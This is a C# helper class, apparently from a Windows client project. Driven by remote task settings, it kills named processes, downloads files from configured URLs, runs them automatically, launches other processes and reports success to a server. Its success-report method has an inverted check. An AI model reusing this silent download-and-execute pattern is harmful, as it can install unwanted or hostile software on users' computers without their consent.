FrisbeeHelper.cs 4.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126
  1. using Oreo.CleverDog.Commons;
  2. using Oreo.CleverDog.Models;
  3. using System;
  4. using System.Collections.Generic;
  5. using System.IO;
  6. using System.Linq;
  7. using System.Text;
  8. using Y.Utils.AppUtils;
  9. using Y.Utils.DataUtils.Collections;
  10. using Y.Utils.DataUtils.EncryptUtils;
  11. using Y.Utils.NetUtils.HttpUtils;
  12. using Y.Utils.WindowsUtils.InfoUtils;
  13. using Y.Utils.WindowsUtils.ProcessUtils;
  14. namespace Oreo.CleverDog.Helpers
  15. {
  16. public class FrisbeeHelper
  17. {
  18. public static void Fire()
  19. {
  20. // 加载配置信息
  21. if (ListTool.HasElements(Settings.Frisbee))
  22. {
  23. R.Log.i("任务配置加载成功 共" + Settings.Frisbee.Count() + " 条");
  24. // 循环所有任务
  25. foreach (var f in Settings.Frisbee)
  26. {
  27. if (CanFire(f))//判断执行条件
  28. {
  29. R.Log.i("准备执行 " + f.FileName + " 的任务");
  30. KillProcess(f);//结束进程
  31. R.Log.i("结束进程完成");
  32. if (DownFileAndRun(f))//下载程序并按需运行
  33. {
  34. R.Log.i("已下载 并按需运行");
  35. RunProcess(f);//启动进程
  36. R.Log.i("运行其他进程");
  37. SuccUrl(f);//发送运行完信息
  38. R.Log.i("发送运行信息至服务器");
  39. }
  40. else
  41. {
  42. R.Log.e("文件下载失败 任务被迫中止");
  43. }
  44. }
  45. else
  46. {
  47. R.Log.e(f.FileName + " 任务不适应此计算机");
  48. }
  49. }
  50. }
  51. else
  52. {
  53. R.Log.e("配置加载失败 任务失败");
  54. }
  55. }
  56. public static bool CanFire(Frisbee f)
  57. {
  58. // 验证有效时间
  59. if (DateTime.Now > f.Term)
  60. return false;
  61. // 验证系统
  62. if (f.Any3264 == "32" && Environment.Is64BitOperatingSystem)
  63. return false;
  64. if (f.Any3264 == "64" && !Environment.Is64BitOperatingSystem)
  65. return false;
  66. // 验证安装
  67. if (SoftwareTool.ExistFile(f.ExistFile) ||
  68. SoftwareTool.ExistProcess(f.ExistProcess) ||
  69. SoftwareTool.ExistControl(f.ExistControl))
  70. {
  71. return false;
  72. }
  73. return true;
  74. }
  75. public static bool DownFileAndRun(Frisbee f)
  76. {
  77. if (!string.IsNullOrWhiteSpace(f.Url) && !string.IsNullOrWhiteSpace(f.FileName))
  78. {
  79. string downfile = R.Paths.Frisbee + f.FileName;
  80. if (HttpTool.Download(f.Url, downfile))
  81. {
  82. if (f.AutoRun && File.Exists(downfile))
  83. ProcessTool.StartProcess(downfile);
  84. return true;
  85. }
  86. }
  87. return false;
  88. }
  89. public static void KillProcess(Frisbee f)
  90. {
  91. if (!ListTool.IsNullOrEmpty(f.KillProcess))
  92. {
  93. foreach (var r in f.KillProcess)
  94. {
  95. if (!string.IsNullOrWhiteSpace(r))
  96. {
  97. ProcessTool.KillProcess(r);
  98. }
  99. }
  100. }
  101. }
  102. public static void RunProcess(Frisbee f)
  103. {
  104. if (!ListTool.IsNullOrEmpty(f.RunProcess))
  105. {
  106. foreach (var r in f.RunProcess)
  107. {
  108. if (!string.IsNullOrWhiteSpace(r))
  109. {
  110. ProcessTool.StartProcess(r);
  111. }
  112. }
  113. }
  114. }
  115. public static void SuccUrl(Frisbee f)
  116. {
  117. if (string.IsNullOrWhiteSpace(f.SuccUrl))
  118. HttpTool.Get(f.SuccUrl);
  119. }
  120. }
  121. }